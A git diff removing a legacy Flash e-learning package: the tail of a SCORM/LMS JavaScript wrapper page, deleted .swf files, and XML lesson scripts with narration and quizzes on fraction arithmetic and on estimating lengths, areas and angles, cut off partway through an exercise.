-			err = SCOSetObjectiveData(F_intData[1], ".score.raw", F_intData[2])
-			if (err=="true"){
-				SCOSetObjectiveData(F_intData[1], ".status", normalizeStatus(F_intData[3]))
-			}
-		} else if ((cmd=="CMISetScore") ||(cmd=="MM_cmiSendScore")){
-			err = SCOSetValue("cmi.core.score.raw", F_intData[0]);
-		} else if ((cmd=="CMISetStatus") || (cmd=="MM_cmiSetLessonStatus")){
-			err = SCOSetValue("cmi.core.lesson_status", normalizeStatus(F_intData[0]))
-		} else if (cmd=="CMISetTime"){
-			err = SCOSetValue("cmi.core.session_time", F_intData[0])
-		} else if (cmd=="CMISetCompleted"){
-			err = SCOSetStatusCompleted()
-		} else if (cmd=="CMISetStarted"){
-			err = SCOSetValue("cmi.core.lesson_status", "incomplete")
-		} else if (cmd=="CMISetPassed"){
-			err = SCOSetValue("cmi.core.lesson_status", "passed")
-		} else if (cmd=="CMISetFailed"){
-			err = SCOSetValue("cmi.core.lesson_status", "failed")
-		} else if (cmd=="CMISetData"){
-			err = SCOSetValue("cmi.suspend_data", F_intData[0])
-		} else if (cmd=="CMISetLocation"){
-			err = SCOSetValue("cmi.core.lesson_location", F_intData[0])
-		} else if (cmd=="CMISetTimedOut"){
-			err = SCOSetValue("cmi.core.exit", "time-out")
-		} // Other Learning Component FScommands are no-ops in this context
-	} else {
-		if (cmd=="CMIFinish" || cmd=="CMIExitAU"){
-			err = SCOFinish()
-		} else if (cmd=="CMIInitialize" || cmd=="MM_StartSession"){
-			err = SCOInitialize()
-		} else {
-			// Unknown command; may be invoking an API extension
-			// If commands comes with a 2nd argument, assume a value is expected
-			// otherwise assume it is just a cmd
-			if (eval('g_objAPI.' + cmd)) {
-				v = eval('g_objAPI.' + cmd + '(\"' + arg1 + '\")');
-				if ((arg2) && (arg2.length > 0)){
-					stoas_elfk_moduleObj.SetVariable(arg2,v)
-				} else {
-					err = v
-				}
-			} else {
-				err = "false"
-			}
-		}
-	}
-	// End of command translation and processing
-	// handle detected errors, such LMS error returns
-	if ((g_bShowApiErrors) && (err != "true")) {
-		AlertUserOfAPIError(ExpandString(g_strFSAPIError, err, cmd, args))
-	}
-	return err
-}
-//-->
-</script>
-<body bgcolor="#ffffff" onload="SCOInitialize()" onunload="SCOFinish()" onbeforeunload="SCOFinish()">
-<script type="text/javascript" language="JavaScript" name="earlyInit">
-<!--
-// Determine whether to attempt to initialize API before loading
-// movie in case there is some ActionScript that fires off before
-// the rest of the HTML page has finished loading.  This is
-// configurable by setting the global boolean (g_bInitializeOnLoad)
-// in the beginning of this file.  Default value is TRUE.
-if (g_bInitializeOnLoad) {
-	SCOInitialize()
-}
-//-->
-</script>
-
-<script type="text/javascript">
-AC_FL_RunContent( 'codebase','http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0','id','stoas_elfk_module','width','800','height','600','align','middle','src','stoas_elfk_module','quality','high','bgcolor','#ffffff','name','stoas_elfk_module','allowscriptaccess','sameDomain','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','stoas_elfk_module' ); //end AC code
-</script><noscript><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="stoas_elfk_module" width="800" height="600" align="middle">
-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="stoas_elfk_module.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="stoas_elfk_module.swf" quality="high" bgcolor="#ffffff" width="800" height="600" name="stoas_elfk_module" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-</object></noscript>
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M1002/stoas_elfk_module.swf b/Explore/elr/Mathematics/M1002/stoas_elfk_module.swf
deleted file mode 100755
index e69ea03..0000000
--- a/Explore/elr/Mathematics/M1002/stoas_elfk_module.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e0a.swf b/Explore/elr/Mathematics/M1101/audio/e0a.swf
deleted file mode 100755
index 7895261..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e0a.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e11.swf b/Explore/elr/Mathematics/M1101/audio/e11.swf
deleted file mode 100755
index c958453..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e11.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e12.swf b/Explore/elr/Mathematics/M1101/audio/e12.swf
deleted file mode 100755
index d4e2e94..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e12.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e13.swf b/Explore/elr/Mathematics/M1101/audio/e13.swf
deleted file mode 100755
index 4d68a39..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e13.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e14.swf b/Explore/elr/Mathematics/M1101/audio/e14.swf
deleted file mode 100755
index b0ea31d..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e14.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e19.swf b/Explore/elr/Mathematics/M1101/audio/e19.swf
deleted file mode 100755
index 60c0be5..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e19.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e20.swf b/Explore/elr/Mathematics/M1101/audio/e20.swf
deleted file mode 100755
index 8e61ac0..0000000
--- a/Explore/elr/Mathematics/M1101/audio/e20.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1101/audio/e21.swf b/Explore/elr/Mathematics/M1101/audio/e21.swf
deleted file mode 100755
index e08c72b..0000000
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="calculating" startSegId="s0" title="Calculating With Fractions" url="calculating.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="Sometimes you probably think in fractions without even realizing it, like when you count change, read a survey, or divide a pizza among friends.  They're everywhere!  Even so, a lot of people are terrified of fractions."/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="If you've ever made cookies, you probably had to use fractions when you measured the ingredients.  And if you've ever played an instrument, you might have used fractions there, too.  Sweets and music!  We've got two excellent reasons to make friends with fractions, right?"/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args title="Calculating With Fractions"/><next branch="false" value="s6"/></seg><seg id="s6" templateId="" url=""><args text="The general idea of fractions is simple enough. You can cut a whole thing into pieces of different sizes – like a pizza. Slices are fractions of a pizza. You can also add pieces together to make new pieces of different sizes."/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="Suppose you have 3/4 of a pizza, and you want to share it evenly with a friend. How much of the whole pizza will each of you get?  Just multiply 3/4 by 1/2. "/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="Multiplying fractions is really easy. We just multiply the top numbers, also known as numerators, and then multiply the bottom numbers, which are called denominators.  See how 3/8 is less than 3/4?  Any time we multiply something by a fraction that's less than 1, we'll get a smaller number."/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args text="Division is also very simple. Just turn the second fraction upside down and then multiply. For example, 3/5 divided by 2/3 is really just 3/5 times 3/2.  It might seem strange, but when we divide by a fraction that's less than one, we get a bigger number."/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args aPop="Sorry, that’s not correct. Try again." aText="5/35" bPop="That’s right!  You’re multiplying fractions with ease!" bText="6/35" cPop="Oops!  Remember, multiply the numerators, then the denominators." cText="10/21" correct="b" dPop="That is not correct. Try again." dText="14/15" text="Try it out for yourself!  What's 2/5 x 3/7 ?"/><next branch="false" value="s11"/></seg><seg id="s11" templateId="" url=""><args aPop="4/30 is not correct. Don’t forget that for division, you must flip the second fraction upside down." aText="4/30" bPop="Check your work and try again." bText="5/30" cPop="Excellent!  You got it right!" cText="5/24" correct="c" dPop="Oops!  Be careful to flip the second fraction upside down, not the first!" dText="24/5" text="While we're at it, try a division problem.  What is 1/6 divided by 4/5 ?"/><next branch="false" value="s12"/></seg><seg id="s12" templateId="" url=""><args text=" Easy, right? But no one likes doing addition and subtraction with fractions. That's because fractions are kind of like feuding tribes. Before they can &quot;make a deal,&quot; they have to find some common ground."/><next branch="false" value="s13"/></seg><seg id="s13" templateId="" url=""><args text="Suppose 1/3 and 1/6 are secretly in love and want to run away and get married. Which of them should change its last name?  Will they belong to the tribe of Thirds?  The Sixths?  Or some other tribe?"/><next branch="false" value="s14"/></seg><seg id="s14" templateId="" url=""><args text="When they join, they find that they make 1/2, and are welcomed into the noble family of Halves. "/><next branch="false" value="s15"/></seg><seg id="s15" templateId="" url=""><args text="Watch what happens as you try to unite other fractions from different tribes. Pull different slices into the empty pie pan below.  Use the &quot;Start Over&quot; button when you want to clear the pie pan and build a new fraction."/><next branch="false" value="s16"/></seg><seg id="s16" templateId="" url=""><args text="Now let's learn how to perform the calculations you just saw. Let's go back to the case of 1/3 and 1/6. How can we join them together?"/><next branch="false" value="s17"/></seg><seg id="s17" templateId="" url=""><args text="As it turns out, there's a peacemaker tribe dedicated to helping hopelessly different fractions get together. Each peacemaker fraction has the same numerator and denominator, so actually, they are all equal to 1."/><next branch="false" value="s18"/></seg><seg id="s18" templateId="" url=""><args text="The nice thing about the number 1 – whether you call it 1/1, 2/2, 3/3, or 747/747 – is that any number you multiply it by stays the same. In this case, the peacemaker 2/2 helps unite 1/3 and 1/6 by multiplying 1/3 to turn it into 2/6. "/><next branch="false" value="s19"/></seg><seg id="s19" templateId="" url=""><args text="1/3 and 2/6 are really the same number. We can easily join 2/6 and 1/6 because they're both in the tribe of Sixths."/><next branch="false" value="s20"/></seg><seg id="s20" templateId="" url=""><args text="1/3 and 1/6 are now joined as 3/6. But you might have noticed that 3 and 6 have 3 as a common factor. That means we can factor out the peacemaker fraction 3/3."/><next branch="false" value="s21"/></seg><seg id="s21" templateId="" url=""><args aPop="You’re absolutely right!  Then they will both be in the Ninths tribe." aText="Multiply 2/3 by 3/3." bPop="Oops!  Then 2/9 will become 6/27. They will still belong to different tribes." bText="Multiply 2/9 by 3/3." cPop="That is not correct. 2/3 x 9/9 = 18/27. The fractions still won’t belong to the same tribe. Try again." cText="Multiply 2/3 by 9/9." correct="a" dPop="You’re clever to notice that sometimes we will need to use two peacemakers, but that’s not the right approach this time. Try again!" dText="Both a and b." text="What if 2/3 and 2/9 want to run away with each other?  Which peacemaker will they need?"/><next branch="false" value="s22"/></seg><seg id="s22" templateId="" url=""><args aPop="That is not correct. Don’t forget that 2/3 was changed to become part of the Ninths tribe." aText="4/9" bPop="You missed a step; don’t forget to add 2/9 as the problem requires." bText="6/9" cPop="That’s right!  Good job!" cText="8/9" correct="c" dPop="That is not correct. You need to add together the numerators of 2/9 and 6/9." dText="6/3" text="To join 2/3 and 2/9, we multiply 2/3 by the peacemaker 3/3, transforming it into 6/9.  Now both fractions will be in the Ninths tribe, and it's easy to add them together. 6 Ninths plus 2 Ninths is 8 Ninths."/><next branch="false" value="s23"/></seg><seg id="s23" templateId="" url=""><args correct="Good work!  Now both fractions are in the Twenty-fourths tribe." incorrect="Try again. Keep trying different peacemakers until both fractions have the same denominator." text="We only needed one peacemaker to join 2/3 and 2/9. To add 1/3 and 3/8, we'll need to multiply each fraction by a peacemaker.  Choose peacemakers and click &quot;Done&quot; when both fractions are in the same tribe. "/><next branch="false" value="s24"/></seg><seg id="s24" templateId="" url=""><args Answer="17" correct="Excellent!  The answer is 17/24." incorrect="Sorry, you made a mistake somewhere. Check your addition and try again." text="Great work using peacemakers to get these fractions into the same tribe. Now, just add the numberators together."/><next branch="false" value="s25"/></seg><seg id="s25" templateId="" url=""><args text="As you might have guessed, getting the fractions into the same tribes has a different name in &quot;math lingo.&quot;  It's called &quot;finding a common denominator.&quot;"/><next branch="false" value="s26"/></seg><seg id="s26" templateId="" url=""><args text="You might have noticed that the denominator the fractions end up having is the least common multiple of their former denominators. Use this fact to help you choose the right peacemaker fractions."/><next branch="false" value="s27"/></seg><seg id="s27" templateId="" url=""><args Answer="7" correct="That’s correct!" incorrect="That’s not correct. Try again." text="Try your hand at helping some more fractions from rival tribes. After you choose the appropriate peacemeakers, type in the numerator of the answer and click Submit. What is 3/5 + 1/10 ?"/><next branch="false" value="s28"/></seg><seg id="s28" templateId="" url=""><args Answer="1" correct="That’s correct. You’re doing a great job!" incorrect="Check your work and try again!  Don’t forget that this is a subtraction problem." text="The process works the same way for subtracting fractions. In the last step, subtract the numerators instead of adding. What is 1/2 - 5/12 ?"/><next branch="false" value="s29"/></seg><seg id="s29" templateId="" url=""><args Answer="19" correct="Excellent!  Good work." incorrect="That is not the correct answer. Check your work and give it another try!" text="What is 4/7 + 1/3 ?"/><next branch="false" value="s30"/></seg><seg id="s30" templateId="" url=""><args Answer="17" correct="You’re right!  You’re really getting the hang of this." incorrect="That is not correct. Check your addition and try again." text="What is 1/6 + 2/5 ?"/><next branch="false" value="s49"/></seg><seg id="s49" templateId="" url=""><args Title="Review"/><next branch="false" value="s51"/></seg><seg id="s51" templateId="" url=""><args text="Multiplying fractions is very straightforward. No surprises here!"/><next branch="false" value="s52"/></seg><seg id="s52" templateId="" url=""><args text="To divide fractions, flip the second one upside down and then multiply."/><next branch="false" value="s53"/></seg><seg id="s53" templateId="" url=""><args text="When you're adding or subtracting fractions, use peacemaker fractions to find a common denominator.  "/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e0a"/></seg><seg id="e0a" templateId="" url=""><args text="Now we've learned the ins and outs of fractions.  Grab a pencil and paper and try out your skills on these five practice questions.  The answer will be explained after each one.  Are you ready?"/><next branch="false" value="e3"/></seg><seg id="e3" templateId="" url=""><args Answer="13" correct="You’re right!  You successfully joined these fractions from rival clans." incorrect="Sorry, that’s not correct.  Try again." text="1) What is 1/9 + 4/3 ?"/><next branch="false" value="e4"/></seg><seg id="e4" templateId="" url=""><args text="We want to join Ninths with Thirds, so we need to multiply 4/3 by the peacemaker 3/3.  After that, both fractions will be in the Ninths clan, and you can add the numerators to get 13/9."/><next branch="false" value="e7"/></seg><seg id="e7" templateId="" url=""><args aPop="That is not the correct answer.  Try again.  Hint: Multiply the numerators, then the denominators." aText="5/21" bPop="Wonderful!  That is correct." bText="12/35" cPop="That is not correct.  Please try again!" cText="7/15" correct="b" dPop="That is incorrect.  Double check your multiplication and try again!" dText="60/7" text="2) What is 4/5 x 3/7 ?"/><next branch="false" value="e8"/></seg><seg id="e8" templateId="" url=""><args text="Multiply the numerators and then the denominators to find the product of these fractions."/><next branch="false" value="e11"/></seg><seg id="e11" templateId="" url=""><args Answer="11" correct="Excellent.  That’s correct." incorrect="That is not the correct answer.  Try again." text="3) Mom made brownies!  You've had 1/5 of them, and your sister had 1/6.  How much have the two of you eaten?"/><next branch="false" value="e12"/></seg><seg id="e12" templateId="" url=""><args text="This is asking you to add 1/5 and 1/6.  Multiply 1/5 by 6/6 and 1/6 by 5/5.  Then you can add the numerators.  The answer is 11/30."/><next branch="false" value="e13"/></seg><seg id="e13" templateId="" url=""><args aPop="Oops!  You might have multiplied instead of adding.  Try again." aText="9/30 of a yard" bPop="That’s exactly right!  Good work." bText="17/30 of a yard" cPop="That is incorrect.  Please try again." cText="2/3 of a yard" correct="b" dPop="That’s more wire than he started with!  Try again." dText="37/30 yards" text="4) Horatio buys 9/10 of a yard of wire and cuts off a 1/3 of a yard. How much does he have left?"/><next branch="false" value="e14"/></seg><seg id="e14" templateId="" url=""><args text="This is a subtraction problem.  First, multiply 9/10 by 3/3 and 1/3 by 10/10 so that the fractions will have the same denominator.  Then subtract the numerators.  The answer is 17/30."/><next branch="false" value="e19"/></seg><seg id="e19" templateId="" url=""><args aPop="You’re right!  You should feel proud, because you solved this challenging problem!" aText="7/20 of the garden" bPop="That is not correct.  Try again." bText="2/5 of the garden" cPop="You’re close!  You found the fraction of the garden that the potatoes and carrots occupy, but now you need to find out what fraction of the garden is left." cText="13/20 of the garden" correct="a" dPop="Oops!  That’s how much room there would be for the rutabagas if the carrots weren’t there.  Try again." dText="3/5 of the garden" text="5) One fourth of the garden is planted with carrots, and another 2/5 of the garden is planted with potatoes.  How much of the garden is left for the rutabagas?"/><next branch="false" value="e20"/></seg><seg id="e20" templateId="" url=""><args text="This problem requires two steps.  We need to find out how much of the garden is used up already, and then we need to subtract that fraction from 1 to find out how much room is left for the rutabagas.    "/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args text="First, add 1/4 and 2/5. Multiply 1/4 by 5/5 and 2/5 by 4/4 so that both fractions will be of the same clan.  Then add the numerators.  13/20 of the garden is used up by the potatoes and carrots.  "/><next branch="false" value="e22"/></seg><seg id="e22" templateId="" url=""><args text="Now subtract 13/20 from 1 to find out how much of the garden is available for rutabagas.  Use a name for 1 that will make the subtraction easy. 20/20 is best because we need to subtract 13/20 from it.  We get 7/20 -- that's how much of the garden is left for the rutabagas."/><next branch="false" value="e23"/></seg><seg id="e23" templateId="" url=""><args text="Congratulations!  You've completed the Calculating with Fractions module."/><next branch="false" value=""/></seg></clip></section></chapter></chapters></app>
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="estimation" startSegId="s0" title="Estimating Lengths, Areas and Angles" url="estimation.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="Whether we're fitting books in a backpack, choosing a lid for a cup, or painting a room, we're always estimating areas and distances."/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="We don't always have tools like rulers handy, so it can be much more convenient to estimate. "/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="We also have to estimate sometimes in school. You may see the example question above on a criterion-based test."/><next branch="false" value="s4"/></seg><seg id="s4" templateId="" url=""><args text="Before we start tackling this test question, let's look at how a problem like this one might come up in the real world."/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args text="Let's say your school has changed the school colors.  You've volunteered to repaint the school emblem in the lobby."/><next branch="false" value="s6"/></seg><seg id="s6" templateId="" url=""><args text="The total area of the lobby wall is 24 square yards."/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="You have a limited budget, so you can't afford to buy surplus paint. One quart of paint is enough to cover 4 square yards of wall. How many quarts of paint will you need to paint the school emblem?"/><next branch="false" value="s7a"/></seg><seg id="s7a" templateId="s0" url=""><args title="Estimation"/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="To find out how much paint we'll need, we have to know the emblem's area. But we can't measure the area of the emblem because we don't have enough information, such as the emblem's diameter. So we have to estimate. Let's start by gathering all the information we do have. What do we know for sure?"/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args aPop="Nope. If the emblem can fit inside the edges of the lobby wall, they can't have the same area." aText="The area of the emblem and the area of the lobby wall are about the same." bPop="Look again. If the lobby wall were 10 times the size of the emblem, you'd be able to fit 10 emblems on the wall." bText="The lobby wall is 10 times larger than the emblem." cPop="No. The emblem would probably extend to the floor and ceiling if it were larger than the wall." cText="The emblem is larger than the lobby wall." correct="d" dPop="Easy, right? Gathering this information can be pretty simple, but it's also an important first step." dText="The emblem is smaller than the lobby wall." text="We do know the area of the wall. How can we use that information to estimate the area of the emblem? For starters, we can compare the size of the area we know - the wall - to the size of the area we're estimating - the emblem. Which of the following statements is true? "/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args aPop="That's right. You definitely can't squeeze more than two emblems onto that wall." aText="2" bPop="No. There's not enough room to fit four emblems there." bText="4" cPop="Ten emblems? I don't know where you're going to paint 10 emblems, but it's not on that wall." cText="10" correct="a" dPop="Twenty emblems? I don't know where you're going to paint 20 emblems, but it's not on that wall." dText="20" text="The emblem is obviously smaller than the lobby wall, so it must be less than 24 square yards. But how much less? Let's take a closer look at the relationship between the emblem's and wall's area. About how many emblems could you fit on the wall?"/><next branch="false" value="s11"/></seg><seg id="s11" templateId="" url=""><args aPop="Think about that.  Is the emblem the same size as the wall?" aText="24 square yards." bPop="Good!  That's really the only realistic option." bText="12 square yards." cPop="That would mean you could fit around 12 emblems on the wall. Does it look like you could do that?" cText="2 square yards." correct="b" dPop="That would mean you could fit around 24 emblems on the wall. Does it look like you could do that?" dText="1 square yard." text="Now that we've estimated that we can fit about two emblems on the wall, what's the most reasonable estimation of the emblem's area?"/><next branch="false" value="s12"/></seg><seg id="s12" templateId="" url=""><args text="Even if you can't say for sure that the emblem is &lt;I&gt;exactly&lt;/I&gt; half the size of the wall, clearly it's not the same size as the wall, nor is it significantly smaller.  So you can eliminate the other options."/><next branch="false" value="s13"/></seg><seg id="s13" templateId="" url=""><args aPop="No. Remember, 1 quart only covers 4 square yards. The size of the emblem is 12 square yards." aText="1 quart" bPop="Very good!" bText="3 quarts" cPop="No. Remember, 1 quart covers 4 square yards, so 6 quarts would cover 24 square yards. That's enough paint for the entire lobby wall!" cText="6 quarts" correct="b" text="With this new information, how many cans of paint will you need to repaint the emblem?"/><next branch="false" value="s13a"/></seg><seg id="s13a" templateId="" url=""><args text="With 3 quarts of paint you will be able to cover 12 square yards, which is the area we estimated for the emblem.  One quart would cover far too little and 6 quarts would cover the entire wall!"/><next branch="false" value="s14"/></seg><seg id="s14" templateId="" url=""><args text="In this example, we were able to compare the area of the emblem to a quantity we knew: the area of the wall. But sometimes, we have to estimate a distance or angle when we don't have anything on hand we can use for comparison."/><next branch="false" value="s15"/></seg><seg id="s15" templateId="" url=""><args text="When we don't have anything on hand to use for comparison, we have to use our imagination and compare the thing we're estimating to something from our memory."/><next branch="false" value="s16"/></seg><seg id="s16" templateId="" url=""><args text="Look at this problem, for example.  We have to estimate the size of an angle. We can only compare this angle with angle measurements in our memory."/><next branch="false" value="s17"/></seg><seg id="s17" templateId="" url=""><args aPop="Sorry. That's not it." aText="" bPop="That's it!" bText="" cPop="That's a bit large for a 90-degree angle" cText="" correct="b" dPop="That's not the correct answer. That's a 180-degree angle." dText="" text="One angle that's pretty easy to remember is the 90-degree angle. You probably already know what one looks like. Which of the angles above is 90 degrees?"/><next branch="false" value="s18"/></seg><seg id="s18" templateId="" url=""><args text="To help you remember other angles, rotate the red line to create your own. You can read the angle's measurement above. Go ahead and try it out."/><next branch="false" value="s19"/></seg><seg id="s19" templateId="" url=""><args aPop="That's not the correct answer. If the angle is more than 90 degrees, it should open wider than the 90-degree angle." aText="More" bPop="Good." bText="Less" correct="b" text="Let's try estimating the first angle we looked at. Keep imagining the 90-degree angle. Is this angle more or less than 90 degrees?"/><next branch="false" value="s20"/></seg><seg id="s20" templateId="" url=""><args aText="30 degrees" bText="60 degrees" cText="90 degrees" dText="135 degrees" text="Right off the bat we can eliminate the two answer choices that are greater than 90 degrees."/><next branch="false" value="s21"/></seg><seg id="s21" templateId="" url=""><args aPop="Very good." aText="Closer to 90 degrees" bPop="Look closely. Is the angle really less than half the size of a 90-degree angle?" bText="Closer to 0 degrees." correct="a" text="Now, is our angle closer to 90 degrees or 0 degrees?"/><next branch="false" value="s22"/></seg><seg id="s22" templateId="" url=""><args aPop="That's it!" aText="60 degrees" bPop="That's not the correct answer. Which of the available options is more than half of 90 degrees? Is it 60 or 30 degrees?" bText="30 degrees" correct="a" text="Since the angle is more than halfway to 90 degrees, what is the &lt;B&gt;best&lt;/B&gt; estimate of our angle?"/><next branch="false" value="s23"/></seg><seg id="s23" templateId="" url=""><args title="Review"/><next branch="false" value="s24"/></seg><seg id="s24" templateId="" url=""><args text="First, try comparing the size of the object you are estimating to the measurement of an object you already know."/><next branch="false" value="s25"/></seg><seg id="s25" templateId="" url=""><args text="Second, don't worry about finding the &lt;I&gt;exact&lt;/I&gt; measurement - just make the best estimation you can. "/><next branch="false" value="s26"/></seg><seg id="s26" templateId="" url=""><args aText="30 degrees" bText="60 degrees" cText="90 degrees" dText="135 degrees" text="Third, when taking tests, rule out the unrealistic answers to find the best estimate."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args text="In the following ten exercises, you'll practice the skills you've just learned about estimating lengths, areas, and angles."/><next branch="false" value="e2"/></seg><seg id="e2" templateId="" url=""><args aPop="That's not the correct answer. A 180-degree angle is a straight line, so a 170-degree angle is close to making a straight line." aText="170 degrees" bPop="Very good!" bText="135 degrees" cPop="That's not the correct answer. Remember what a 90-degree angle looks like? Is the angle we're estimating larger or smaller?" cText="90 degrees" correct="b" dPop="That's not the correct answer. Is this angle more or less than 90 degrees?" dText="75 degrees" text="1) What is the &lt;B&gt;best&lt;/B&gt; estimate for this angle?"/><next branch="false" value="e3"/></seg><seg id="e3" templateId="" url=""><args text="The angle is halfway between 90 degrees and 180 degrees, so the best estimate is 135 degrees. "/><next branch="false" value="e4"/></seg><seg id="e4" templateId="" url=""><args aPop="That's not the correct answer. The cherry part is not the length of the entire popsicle." aText="8 inches" bPop="That's not the correct answer.  Look again.  Is the cherry section really half the popsicle?" bText="4 inches" cPop="That's it!" cText="2 inches" correct="c" dPop="That's not it.  The cherry section is bigger than an eighth of the popsicle." dText="1 inch" text="2) The length of the popsicle from tip to tip is 8 inches.  What is the length of the cherry section?"/><next branch="false" value="e5"/></seg><seg id="e5" templateId="" url=""><args text="You estimate the cherry section as a fourth the size of the whole popsicle.  A fourth of 8 is 2."/><next branch="false" value="e6"/></seg><seg id="e6" templateId="" url=""><args aPop="Very good." aText="40 degrees" bPop="That's not the correct answer.  That would mean this angle is closer to 90 degrees than 0 degrees." bText="75 degrees" cPop="That's not the correct answer. You can make a 90-degree angle with your outstretched finger and thumb.  How does that angle compare with the one on screen?" cText="90 degrees" correct="a" dPop="That's not it.  This angle is not more than 90 degrees." dText="120 degrees" text="3) What is the &lt;B&gt;best&lt;/B&gt; estimate for this angle?"/><next branch="false" value="e7"/></seg><seg id="e7" templateId="" url=""><args text="Remember the 90-degree angle.  This angle is about half of a 90-degree angle.  Half of 90 is 45, so the best estimate from the available answer choices is 40 degrees."/><next branch="false" value="e8"/></seg><seg id="e8" templateId="" url=""><args aPop="That's not correct.  Count how many squares are in shape A and then think about how many more squares you'll need to reach the same or greater number of squares in the rectangle." aText="" bPop="That's not correct.  Count how many squares are in shape B and then think about how many more squares you'll need to reach the same or greater number of squares in the rectangle." bText="" cPop="That's right!" cText="" correct="c" text="4) Which of the three options has an equal or larger area than the rectangle?"/><next branch="false" value="e9"/></seg><seg id="e9" templateId="" url=""><args text="You can use the grid to help estimate the areas of the figure. You can count 24 squares in the rectangle. Neither shape A nor B contains 24 squares. You can, however, count at least 24 squares in shape C."/><next branch="false" value="e10"/></seg><seg id="e10" templateId="" url=""><args aPop="Whoa, there.  The basketball goal is only 10 feet hight.  Is the ceiling really nine times higher than the goal?" aText="90 feet" bPop="That's not the correct answer.  At 60 feet, the ceiling would be six times higher than the basketball goal." bText="60 feet" cPop="That's it!" cText="30 feet" correct="c" dPop="If the ceiling were 10 feet, it would be the same height as the basketball goal." dText="10 feet" text="5) Given that the basketball goal is 10 feet high, how high would you estimate the gym ceiling to be?"/><next branch="false" value="e11"/></seg><seg id="e11" templateId="" url=""><args text="You estimate that the ceiling is about three times higher than the basketball goal, so the ceiling must be about 30 feet high."/><next branch="false" value="e12"/></seg><seg id="e12" templateId="" url=""><args aPop="That's not the correct answer.  That would mean the pool is 3 times larger than the grassy area." aText="6 square yards" bPop="Very good!" bText="18 square yards" cPop="That's not the correct answer.  That would make the grassy area much larger than the pool." cText="35 square yards" correct="b" dPop="You need to find the area of the grass, not the total area of the backyard." dText="36 square yards" text="6) You'd like to get new grass for your yard.  You know the surface area of your pool is 18 square yards.  What is the &lt;B&gt;best&lt;/B&gt; estimate for the number of square yards of grass you'll need?"/><next branch="false" value="e13"/></seg><seg id="e13" templateId="" url=""><args text="First, you can rule out that the grassy area is 6 square yards, which is just 1/3 of the area of the swimming pool.  Then you can rule out the last two answers, 35 and 36, since they are both about double the size of the pool.  The grassy area is about the &lt;I&gt;same&lt;/I&gt; size as the pool, so the best estimate is 18 square yards."/><next branch="false" value="e14"/></seg><seg id="e14" templateId="" url=""><args aPop="That's correct! The telescope is just barely tipped above the horizon. It's clearly pointed at an angle less than 45 degrees, so the only reasonable estimation available is 15 degrees." aText="15 degrees" bPop="That's not the correct answer. An angle of 45 degrees is half the size of a 90-degree angle. Is the telescope pointed at an angle less than or greater than 45 degrees?" bText="45 degrees" cPop="That's not the correct answer.  A 75-degree angle would be similar to a 90-degree angle. Is the telescope nearly pointing at a 90-degree angle?" cText="75 degrees" correct="a" dPop="That's not the correct answer. Is the telescope pointed at an angle less than or greater than 90 degrees?" dText="105 degrees" text="7) The telescope above is pointed at Venus. At what angle above the horizon is the telescope directed?"/><next branch="false" value="e15"/></seg><seg id="e15" templateId="" url=""><args text="Start by thinking of a 90-degree angle. Imagine an angle half that size: it would be 45 degrees. The angle the telescope is pointed at is less than 45 degrees, so it must be 15 degrees."/><next branch="false" value="e16"/></seg><seg id="e16" templateId="" url=""><args aPop="That's not the correct answer. The triangle is clearly not the same size as the rectangle." aText="18 square centimeters" bPop="That's not the correct answer. If the area of the triangle were 17.5 square centimeters, you could only fit one such triangle into the rectangle. How many triangles do you think you could fit into the rectangle?" bText="17.5 square centimeters" cPop="That's not the correct answer.  If the area of the triangle were 9 square centimeters, you could fit two such triangles into the rectangle.  How many triangles do you think you could fit into the rectangle?" cText="9 square centimeters" correct="d" dPop="Good job!" dText="4.5 square centimeters" text="8) The area of the rectangle above is 18 square centimeters. What's the area 